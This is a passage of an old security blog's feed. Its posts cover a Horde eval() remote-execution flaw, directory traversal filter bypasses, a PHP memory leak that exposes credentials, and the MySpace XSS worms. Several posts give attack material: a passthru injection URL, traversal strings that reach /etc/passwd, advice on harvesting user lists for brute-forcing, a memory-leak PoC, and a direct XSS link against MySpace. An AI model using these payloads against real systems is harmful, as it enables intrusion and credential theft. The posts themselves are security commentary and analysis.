determine the distribution or OS involved. You can then use VMware to setup a similar configuration. With some research you can figure out which files are readable by default for that OS, and possibly use it to your advantage.&lt;br /&gt;&lt;br /&gt;3) Read /etc/passwd, though it may be useless these days as rarely any machines leave their hashes in /etc/passwd anymore, you can still gather the systems user list, and use that in turn with THC-Hydra for some brute force action, it &lt;span style="font-style:italic;"&gt;may&lt;/span&gt; yield results.&lt;br /&gt;&lt;br /&gt;4) read the sites' php/cgi source codes, thus opening up the possibility of finding a remote execution vulnerability. If you can find a hole in the webmasters code, you can stop using the readfile() bug and elevate your attack.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NOTE&lt;/span&gt;: Do a full site audit on your victim, find path disclosures. This will allow you to map out the systems web server hierachy. I also suggest you scrub the victims IP for other Virtual Hosts, if you can find path disclosures on those sites you'll have a lot more success in your file read path guessing. But hopefully you can find holes in those other sites which will allow you remote execution, right? ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;NOTE&lt;/span&gt;: To 'scrub' IPs for Virtual Hosts, check out a tool by the name of &lt;a href="http://www.revhosts.net/index.php?title=Main_Page"&gt;revhosts&lt;/a&gt; I've had some nice success with it.&lt;/blockquote&gt;The big &lt;a href="http://seclists.org/lists/fulldisclosure/2006/Apr/0291.html"&gt;advisory &lt;/a&gt;though, involved a tiny little line in the middle of a huge frame. An eval() with unsanitized variables right in the mix. OUCH!! The vulnerable code was something along the lines of the following:&lt;blockquote&gt;&amp;lt;?php&lt;br /&gt;    $module = $_GET['module'];&lt;br /&gt;    eval('$version = "' . basename($module) . '";');&lt;br /&gt;?&amp;gt;&lt;/blockquote&gt;&lt;span style="font-weight:bold;"&gt;NOTE&lt;/span&gt;: the code above was not the vulnerable code in the Horde help script, I'm just illustrating a vulnerability with similarity. So, the code above looks nasty, ugly. It is also a gaping hole. With a simply GET like the following, you would achieve remote execution (depending on the php/web server configuration that is):&lt;blockquote&gt;http://victim/target/vulncode.php?module=;".passthru("id").";&lt;/blockquote&gt;One would assume correctly that a high number of machines with Horde 3.0.1-9 and 3.1 distributions are being actively attacked. It almost seems as if the first day I heard of the bug, there were already bots automating attacks on my servers. Geez, that was quick. &lt;br /&gt;&lt;br /&gt;My title references Horde, eval(), and two control panels. But why? hmm. perhaps it is the fact that both Plesk and cPanel distribute vulnerable versions of Horde. Oh yes, that's it. The default template for Plesk's Horde installation ends up with the webmail.vhost.com hostname, and cPanel's Horde distribution hides the vulnerable application under an .htaccess, so you'd have to have some sort of account on cPanel in order to get down and exploit it. I'm sure there are other Control Panels which include Horde, I think I've seen an hSphere box or two with it. &lt;br /&gt;&lt;br /&gt;I think it's time companies re-evaluate the installation, and reselling of CPs as they are yet another vector of attack.&lt;br /&gt;&lt;br /&gt;Thanks to JRoca for the point about Control Panels.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114543919115116450?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114543919115116450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114543919115116450' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114543919115116450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114543919115116450'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/04/horde-eval-plesk-cpanel-and-others.html' title='Horde, eval(), Plesk, cPanel and others'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114381743854900413</id><published>2006-03-31T09:33:00.000-05:00</published><updated>2006-03-31T10:03:58.613-05:00</updated><title type='text'>Directory transversal in a can.</title><content type='html'>Well, not really in a can, more in a bug, or two. I've always found directory transversal bugs to be fun, and that goes way back to when CGI (common gateway interface) was the way to go. now, you have PHP, and numerous other dynamic web structures. They usually suffer the same kind of bugs, simply because of programming error; it should be known by now that developers should use absolute urls, defined internally.&lt;br /&gt;&lt;br /&gt;I've recently audited a few smaller projects that used str_replace to strip out "../" or even "./". The problem with that is that it is very much defeatable. &lt;blockquote&gt;vuln: str_replace("./","",$path); &lt;br&gt;attack: "../..//../..//../..//etc/passwd"&lt;br&gt; result: "../../../etc/passwd"&lt;/blockquote&gt;while &lt;blockquote&gt;vuln: str_replace("../","",$path); &lt;br&gt;attack: "../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd" &lt;br&gt;result: "../../../../../../etc/passwd"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This isn't anything new.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114381743854900413?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114381743854900413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114381743854900413' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114381743854900413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114381743854900413'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/03/directory-transversal-in-can.html' title='Directory transversal in a can.'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114365249507844038</id><published>2006-03-29T11:29:00.000-05:00</published><updated>2006-03-29T14:45:05.766-05:00</updated><title type='text'>Memory leak: PHP 4.x/&lt;5.1.3-RC1</title><content type='html'>Yesterday an &lt;a href="mailto:tonu@jes.ee?Subject=Re:%20Critical%20PHP%20bug%20-%20act%20ASAP%20if%20you%20are%20running%20web%20with%20sensitive%20data"&gt;individual&lt;/a&gt; &lt;a href="http://seclists.org/lists/fulldisclosure/2006/Mar/1684.html"&gt;posted&lt;/a&gt; a quasi-advisory on &lt;a href="http://seclists.org/lists/fulldisclosure/"&gt;Full Disclosure&lt;/a&gt; which caught my eye, for it spewed out text concerning a possible local/remote vulnerability in PHP. The poster was teeter-tottering on the verge of FUD (fear, uncertainty, doubt) almost nervously seeping across the screen and asking developers of PHP sites/projects to filter out all non-usable ASCII characters. He concludes with:&lt;blockquote&gt;More details to come when we have PHP patches distributed with major&lt;br /&gt;distributions. I might disclose details before to some IDS vendor or other&lt;br /&gt;trusted party. &lt;/blockquote&gt;The title of the post wickedly titled "Critical PHP bug - act ASAP if you are running web with sensitive data", I'm sure he caused a small scare.&lt;br /&gt;&lt;br /&gt;Quickly, &lt;a href="mailto:sesser@php.net"&gt;Stefan Esser&lt;/a&gt; &lt;a href="http://seclists.org/lists/fulldisclosure/2006/Mar/1713.html"&gt;replied&lt;/a&gt; with:&lt;blockquote&gt;Hello,&lt;br /&gt;&lt;br /&gt;just to stop this:&lt;br /&gt;&lt;br /&gt;The bug is a binary safety issue in html_entity_decode. A function that&lt;br /&gt;is not usually used on user input, because user input is usually not&lt;br /&gt;expected in HTML format and then decoded. Even if the function is used&lt;br /&gt;on user input it can only leak memory to a potential attacker if the&lt;br /&gt;decoded user input is send back to the client. &lt;/blockquote&gt;I love how he throws up "just to stop this:" in the mix, almost hinting at the B.S involved in the tree of posts between the original poster and others.&lt;br /&gt;&lt;br /&gt;He went on to conclude:&lt;blockquote&gt;The bug was found in late February by one of the japanese PHP developers&lt;br /&gt;and was fixed in CVS one day later. Because the bug is a local memory&lt;br /&gt;leak it was not considered top critical and is among the usual bugfixes.&lt;br /&gt;PHP 5.1.3-RC1 which was released in the beginning of March already fixes&lt;br /&gt;this issue. &lt;/blockquote&gt;The vulnerability very much exists, and affects a nice chunk of the web. The catch is though, the function vulnerable to the memory leak is rarely used on web applications--which doesn't say much, clever attackers are capable of figuring out a usage. &lt;br /&gt;&lt;br /&gt;Here is a PoC I tested on a non-busy server in my LAN; apparently on servers with high volume this can be nasty as it'll output sensitive data from other running applications:&lt;blockquote&gt;&amp;lt;?php&lt;br /&gt;  $user="usernamehere";&lt;br /&gt;  $password="mysqlpasswdhere";&lt;br /&gt;  $server="127.0.0.1";&lt;br /&gt;&lt;br /&gt;  $foobar=html_entity_decode($_GET['foo']);&lt;br /&gt;  printf("html_entity_decode: %s&amp;lt;br&amp;gt;", $foobar);&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;I executed the script above with a value of: ?foo=%00(..554 characters), and what I got was interesting. Infact, I saw not only a bunch of garbage data, but values of $user, $password, and $server. ouch, thats not nice. Screenshot below:&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/mleak.jpg"&gt;&lt;img style="float:left; margin:0 0 10px 10px;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/5197/1577/320/mleak.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;As you can see from the image, not only was the username and password leaked, but the mysql server value I had placed. I repeat, though this a serious vulnerability, it is unlikely you'll find many sites that actually utilize the html_entity_decode() function. &lt;br /&gt;&lt;br /&gt;I'm sure in a situation where a secured PHP server, with safemode, safedir, execution functions disabled, and plugins lacking--you find a script that is badly coded to a point you can execute PHP code via eval. Since you can't execute arbitrary code, or do anything fancy like local file inclusion to at least read configuration files and the likes, you eval html_entity_decode() so it outputs chunk of memory, repeat rinse and recycle until you have a located a mysql login to some server. Oh, that'll be fun ;) mysqldump anyone?&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114365249507844038?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114365249507844038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114365249507844038' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114365249507844038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114365249507844038'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/03/memory-leak-php-4x513-rc1.html' title='Memory leak: PHP 4.x/&lt;5.1.3-RC1'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-114364907515631634</id><published>2006-03-29T11:14:00.000-05:00</published><updated>2006-03-29T11:17:55.176-05:00</updated><title type='text'>Neglection!</title><content type='html'>Oh my! I sure have left this blog idle for a bit too long, I was starting to miss it! I'll soon post some new True Cracks, and get this show on the road again!&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-114364907515631634?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/114364907515631634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=114364907515631634' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114364907515631634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/114364907515631634'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2006/03/neglection.html' title='Neglection!'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113592062527477361</id><published>2005-12-30T00:11:00.000-05:00</published><updated>2005-12-30T00:30:25.286-05:00</updated><title type='text'>Thoughts on the .wmf 0-day and uses for mischief</title><content type='html'>For Security enthusiasts out there reading this post, it should be apparent by now that there is a wide spread hosting of malicious .wmf files out there. Those files exploit a vulnerability in the handling of image metafiles in most of the distributions of Windows from WinME up to XP. Here is &lt;a href="http://www.kb.cert.org/vuls/id/181038"&gt;CERT's advisory&lt;/a&gt; and here is a &lt;a href="http://www.microsoft.com/technet/security/advisory/912840.mspx"&gt;response&lt;/a&gt; from Microsoft. And of course, the &lt;a href="http://www.f-secure.com/weblog/"&gt;blog&lt;/a&gt; over at F-Secure is just fantastic in researching the  propagation/spread and exploitation of the mentioned .wmf files. &lt;a href="mailto:jerome.athias@free.fr"&gt;Jerome Athias&lt;/a&gt; posted a solution on the Full Disclosure list with the following fix:&lt;br /&gt;&lt;blockquote&gt;Note that you can register or unregister shimgvw.dll to enable or&lt;br /&gt;disable WPFV:&lt;br /&gt;- Disable: Start &gt; Run &gt; regsvr32 /u shimgvw.dll&lt;br /&gt;&lt;br /&gt;- Enable:  Start &gt; Run &gt; regsvr32 shimgvw.dll&lt;/blockquote&gt; disabling shimgvw in this case will alleviate the problem, and once you've installed Microsoft's update, you can enable it again.&lt;br /&gt;&lt;br /&gt;now, I have to wonder if attackers are going to take this opportunity to discover XSS holes in _huge_ community sites like MySpace, Xanga, Livejournal, Blackplanet, etc, modify &lt;a href="http://www.sophos.com/virusinfo/analyses/jsspaceheroa.html"&gt;JS/Spacehero-A&lt;/a&gt; (like GodOfTheNoose), and create moments of mass exploitation by cleverly using vectors such as .swf embed/redirects to infect large amounts of victims. hmm.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113592062527477361?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113592062527477361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113592062527477361' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113592062527477361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113592062527477361'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/thoughts-on-wmf-0-day-and-uses-for.html' title='Thoughts on the .wmf 0-day and uses for mischief'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113505164644654945</id><published>2005-12-19T22:29:00.000-05:00</published><updated>2005-12-19T23:07:26.456-05:00</updated><title type='text'>Last words on that MySpace worm (GodOfTheNoose)</title><content type='html'>I was able to learn a lot about the XSS worm that affected MySpace a few days ago, and it was a neat little experience. Especially since I was able to take a real live look at it as it actually spread, and affected users. Here are some things that are definitely known:&lt;br /&gt;&lt;br /&gt;1) The primary issue was an unsanitized variable by the name of "TheName" which allowed the execution of JavaScript code.&lt;br /&gt;2) A JavaScript (.js) file, which turns out to be a modification of &lt;a href="http://www.sophos.com/virusinfo/analyses/jsspaceheroa.html"&gt;JS/Spacehero-A&lt;/a&gt;, was loaded (remotely, from a free host site) and executed under the victims browser.&lt;br /&gt;3) A Flash (.swf) file was created to execute a &lt;a href="http://www.macromedia.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary377.html"&gt;GetURL()&lt;/a&gt; GET request, which included a script src to the JavaScript file mentioned in #2.&lt;br /&gt;4) In the JavaScript file, there were requests to change first, last, and display names, a message from the author was also injected, and the Flash file was embedded into the victims profile. &lt;br /&gt;&lt;br /&gt;In essence, visiting an infected profile got you infected. Now, before in my earlier post I said the worm was unsuccessful -- it turns out it did infect and inject itself into as many as 450,000 MySpace users. MySpace has clearly fixed the issue with the unsanitized variable, but as the author of the XSS worm told me -- there are many vectors of attack on the popular website. &lt;br /&gt;&lt;br /&gt;One has to wonder though, both JS/Spacehero-A (Samy's worm) and the author of GodOfTheNoose (a variant of JS/Spacehero-A) were non-malicious pieces of code that went as far as editing contents of the victims profile. Will there ever be a situation where a malicious author takes it upon (him|her)self to automate deletions of victim accounts, profile contents, account details? Is MySpace doing anything to prevent further attacks? What can we learn from these mistakes, on behalf of the MySpace developers?&lt;br /&gt;&lt;br /&gt;Fin.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113505164644654945?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113505164644654945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113505164644654945' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113505164644654945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113505164644654945'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/last-words-on-that-myspace-worm.html' title='Last words on that MySpace worm (GodOfTheNoose)'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113502065968667529</id><published>2005-12-19T12:56:00.000-05:00</published><updated>2005-12-19T14:36:26.970-05:00</updated><title type='text'>Cross Data Domain crossdomain.xml misconfigurations</title><content type='html'>While doing research on the previous post, I was faced with a security-sandbox feature implemented by Macromedia Flash. It's called Cross Domain data sharing, and it allows the host serving the .swf flash files the opportunity to define which domains can be accessible to/from the flash files themselves. Using the file "crossdomain.xml", you can secure data sharing (variables, and the likes) down to your own *.domain. I've noticed many sites have utilized this technique, and have configured the crossdomain.xml file correctly. &lt;br /&gt;&lt;br /&gt;However, in the case of MySpace we saw what kind of dangers could arise from allowing * domains to share data between each other. Using XML HTTP sends, mixed with crossdomain.xml, XSS attacks can be successful on sites that allow users to embed Flash objects into their dynamic pages.&lt;br /&gt;&lt;br /&gt;I've bumped into a few other popular sites that have misconfigurations in their crossdomain.xml files, and the list below showcases them (including MySpace):&lt;blockquote&gt;&lt;br /&gt;http://www.myspace.com/crossdomain.xtml&lt;br /&gt;http://xml.amazon.com/crossdomain.xml&lt;br /&gt;http://api.search.yahoo.co.jp/crossdomain.xml&lt;br /&gt;http://www.flickr.com/crossdomain.xml&lt;br /&gt;http://content.gamebookers.com/crossdomain.xml&lt;br /&gt;http://flash.oprah.com/crossdomain.xml&lt;br /&gt;http://advision.webevents.yahoo.com/crossdomain.xml (every allowed domain except for the first is good)&lt;br /&gt;http://www.jabber.org/crossdomain.xml (target servers running on those defined ports)&lt;br /&gt;&lt;/blockquote&gt;The example below shows off sites that actually have configured their crossdomain.xml files correctly:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;http://dyn.ifilm.com/crossdomain.xml&lt;br /&gt;http://www.neopets.com/crossdomain.xml&lt;br /&gt;http://www.autodesk.com/crossdomain.xml&lt;br /&gt;http://www.washingtonpost.com/crossdomain.xml&lt;br /&gt;http://psc.disney.go.com/crossdomain.xml&lt;br /&gt;http://www.carthage.edu/crossdomain.xml&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113502065968667529?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113502065968667529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113502065968667529' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113502065968667529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113502065968667529'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/cross-data-domain-crossdomainxml.html' title='Cross Data Domain crossdomain.xml misconfigurations'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113488403670768267</id><published>2005-12-18T00:10:00.000-05:00</published><updated>2006-09-01T06:38:56.373-04:00</updated><title type='text'>New MySpace XSS worm circulating. [UPDATED]</title><content type='html'>A good friend of mine, &lt;a href="http://www.buddyster.com"&gt;nickg&lt;/a&gt;, contacted me about this MySpace XSS worm he ran into. It seems like he caught it right as it propagated, and we were able to dissect its functionality. I posted a bit about it on the OSVDB blog comments (http://www.osvdb.org/blog/?p=51). Thus far, we know several things:&lt;br /&gt;&lt;br /&gt;1) This specific attack starts with an embedded .swf Flash file.&lt;br /&gt;2) The flash file uses ActionScript to send a simple GET request to an UNSANITIZED (whew, embarrassing on MySpace's part) variable by the name of TheName.&lt;br /&gt;3) the GET request in #2, then loads a remote .js script.&lt;br /&gt;4) the remote .js script then uses XML http send commands to execute the malicious part of the worm -- changing first, last, and display names with "g0dOfTheN00se" and injects the malicious .swf file into several parts of the profile, including television.&lt;br /&gt;&lt;br /&gt;To execute the XSS attack directly:&lt;br /&gt;http://myspace.com/PROFILE/COMMENTS.CFM?FriendID=6221&amp;getComments.recordcount=&lt;br /&gt;1&amp;TotalComments=1&amp;MyUserID=6221&amp;TheName=XSS&lt;br /&gt;&lt;br /&gt;The author also added a little note to users infected by the XSS worm:&lt;br /&gt;"MySpace Aids Is Back Bitch. Merry Christmas From ..!.g0dOfTheNoose.!.. ."&lt;br /&gt;&lt;br /&gt;Here is a bit of what the malicious remote .js (JavaScript) file looks like. Its name is "SamyReloaded.js":&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/myspacewormnewxss.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/5197/1577/320/myspacewormnewxss.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/myspacewormnewxss2.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/5197/1577/320/myspacewormnewxss2.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The vulnerability itself is in the unsanitized variable "TheName", which should end up embarrassing developers at MySpace, especially after that whole Samy fiasco. They shut down the MySpace site to fix unsanitized variable issues, and I guess passed right along on that one?&lt;br /&gt;&lt;br /&gt;As for the usage of a malicious Flash file in the XSS worms propagation was actually a very interesting spreading idea. Since Flash, and other objects are embeddable and accepted on MySpace profiles -- I guess the developers at MySpace did not think about ActionScript being used as an attack vector.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;UPDATE&lt;/span&gt;: nickg discovered the following: http://www.myspace.com/crossdomain.xml &lt;br /&gt;&lt;br /&gt;That file allows for Cross-Domain data-loading, which is discussed &lt;a href="http://livedocs.macromedia.com/flash/mx2004/main_7_2/wwhelp/wwhimpl/common/&lt;br /&gt;html/wwhelp.htm?context=Flash_MX_2004&amp;file=00001097.html#223289"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If MySpace had allowed only domains in their own domain space, this XSS worm would have had a tougher time propagating via the malicious .swf flash files. That does not negate the fact that the XSS vulnerability exists! &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;UPDATE&lt;/span&gt;: &lt;a href="mailto:sebastian@wolfgarten.com"&gt;Sebastian&lt;/a&gt; pointed out to me a &lt;a href="http://www.sothink.com/product/flashdecompiler/features.htm"&gt;Flash decompiler&lt;/a&gt; which actually allowed me to see the sort of code used in the malicious .swf file. And no surprise that the .swf file contained literally two lines of code! (I assumed so, since the file was so small; 247+ 